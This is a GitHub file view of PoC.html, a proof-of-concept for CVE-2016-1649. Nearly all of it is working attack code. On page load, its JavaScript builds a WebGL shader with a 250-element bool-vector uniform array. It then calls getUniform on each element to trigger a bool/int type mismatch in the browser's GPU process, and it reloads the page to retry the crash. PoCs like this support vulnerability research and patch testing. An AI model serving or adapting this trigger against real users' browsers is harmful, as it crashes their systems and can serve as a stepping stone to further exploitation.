-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathPoC.html
150 lines (127 loc) · 4.02 KB
/
PoC.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<html>
<TITLE>
CVE-2016-1649 PoC
</TITLE>
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-store, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="0">
<style>
div,h3
{
font-family: Courier
}
</style>
<body onload="crash();">
<canvas id="canvas" width="200" height="200"></canvas>
<div id="e_div"></div>
<script>
/*********************************************************
*functions used for debugging defined here
*********************************************************/
function log(info)
{
document.getElementById("e_div").innerHTML += "<h3>"+ info +"</h3>"
}
function fail(reason)
{
log("[*]fail: " + reason)
log("[*]Aw, Snap:( You'd better have a cup of tea and try again.")
setTimeout(function(){window.location.reload(true)}, 10000)
}
function load_shader(gl, source, type)
{
/*create shader object*/
var shader = gl.createShader(type);
if (shader == null) {
fail("[*]unable to create shader.")
return null;
}
/*load shader from source code*/
gl.shaderSource(shader, source)
var err = gl.getError()
if(gl.NO_ERROR != err)
{
fail("[*]loading shader error.")
return null
}
gl.compileShader(shader)
/*check the compiler state*/
var compiled = gl.getShaderParameter(shader, gl.COMPILE_STATUS);
if (!compiled) {
last_error = gl.getShaderInfoLog(shader);
fail("[*]compiling shader " + last_error + ".");
gl.deleteShader(shader);
return null;
}
return shader;
}
function crash()
{
var element_count = 250
/*init WebGL*/
var canvas = document.getElementById('canvas');
var gl = canvas.getContext("webgl")
if (!gl)
{
fail("no webgl context found.")
return;
}
var program = gl.createProgram()
/*
avalible uniform type:
int libglesv2!gl::Program::getUniformInternal<int>
ivec2 libglesv2!gl::Program::getUniformInternal<int>
ivec3 libglesv2!gl::Program::getUniformInternal<int>
ivec4 libglesv2!gl::Program::getUniformInternal<int>
bool libglesv2!gl::Program::getUniformInternal<int> (*mismatch*)
bvec2 libglesv2!gl::Program::getUniformInternal<int> (*mismatch*)
bvec3 libglesv2!gl::Program::getUniformInternal<int> (*mismatch*)
bvec4 libglesv2!gl::Program::getUniformInternal<int> (*mismatch*)
float libglesv2!gl::Program::getUniformInternal<float>
vec2 libglesv2!gl::Program::getUniformInternal<float>
vec3 libglesv2!gl::Program::getUniformInternal<float>
vec4 libglesv2!gl::Program::getUniformInternal<float>
mat2 libglesv2!gl::Program::getUniformInternal<float>
mat3 libglesv2!gl::Program::getUniformInternal<float>
*/
var vs_code = "uniform bvec4 uBool[" + element_count.toString() +"];\n" +
"void main()\n" +
"{\n" +
" gl_Position = vec4(1.0 + float(uBool[0][0]) + float(uBool[0][1]) + float(uBool[0][2]) + float(uBool[0][3]) + float(uBool[1][0]) + float(uBool[1][1]) + float(uBool[1][2]) + float(uBool[1][3]) + float(uBool[2][0]) + float(uBool[2][1]) + float(uBool[2][2]) + float(uBool[2][3]) + float(uBool[3][0]) + float(uBool[3][1]) + float(uBool[3][2]) + float(uBool[3][3]));\n" +
"}\n"
var fs_code = "void main()\n" +
"{\n" +
" gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n" +
"}\n"
var vs = load_shader(gl, vs_code, gl.VERTEX_SHADER)
var fs = load_shader(gl, fs_code, gl.FRAGMENT_SHADER)
if(null == vs || null == fs)
{
return
}
gl.attachShader(program, vs)
gl.attachShader(program, fs)
gl.linkProgram(program)
/*check the link status*/
var linked = gl.getProgramParameter(program, gl.LINK_STATUS)
if (!linked)
{
last_error = gl.getProgramInfoLog (program);
fail("Error in program linking " + last_error);
gl.deleteProgram(program);
return;
}
gl.useProgram(program)
for(var i=0; i<element_count; i++)
{
var location = gl.getUniformLocation(program, "uBool[" + i.toString () + "]")
gl.getUniform(program, location)
}
/*
GPU process still alive? Well let's try again:(
*/
window.location.reload(false)
}
</script>
</body>
</html>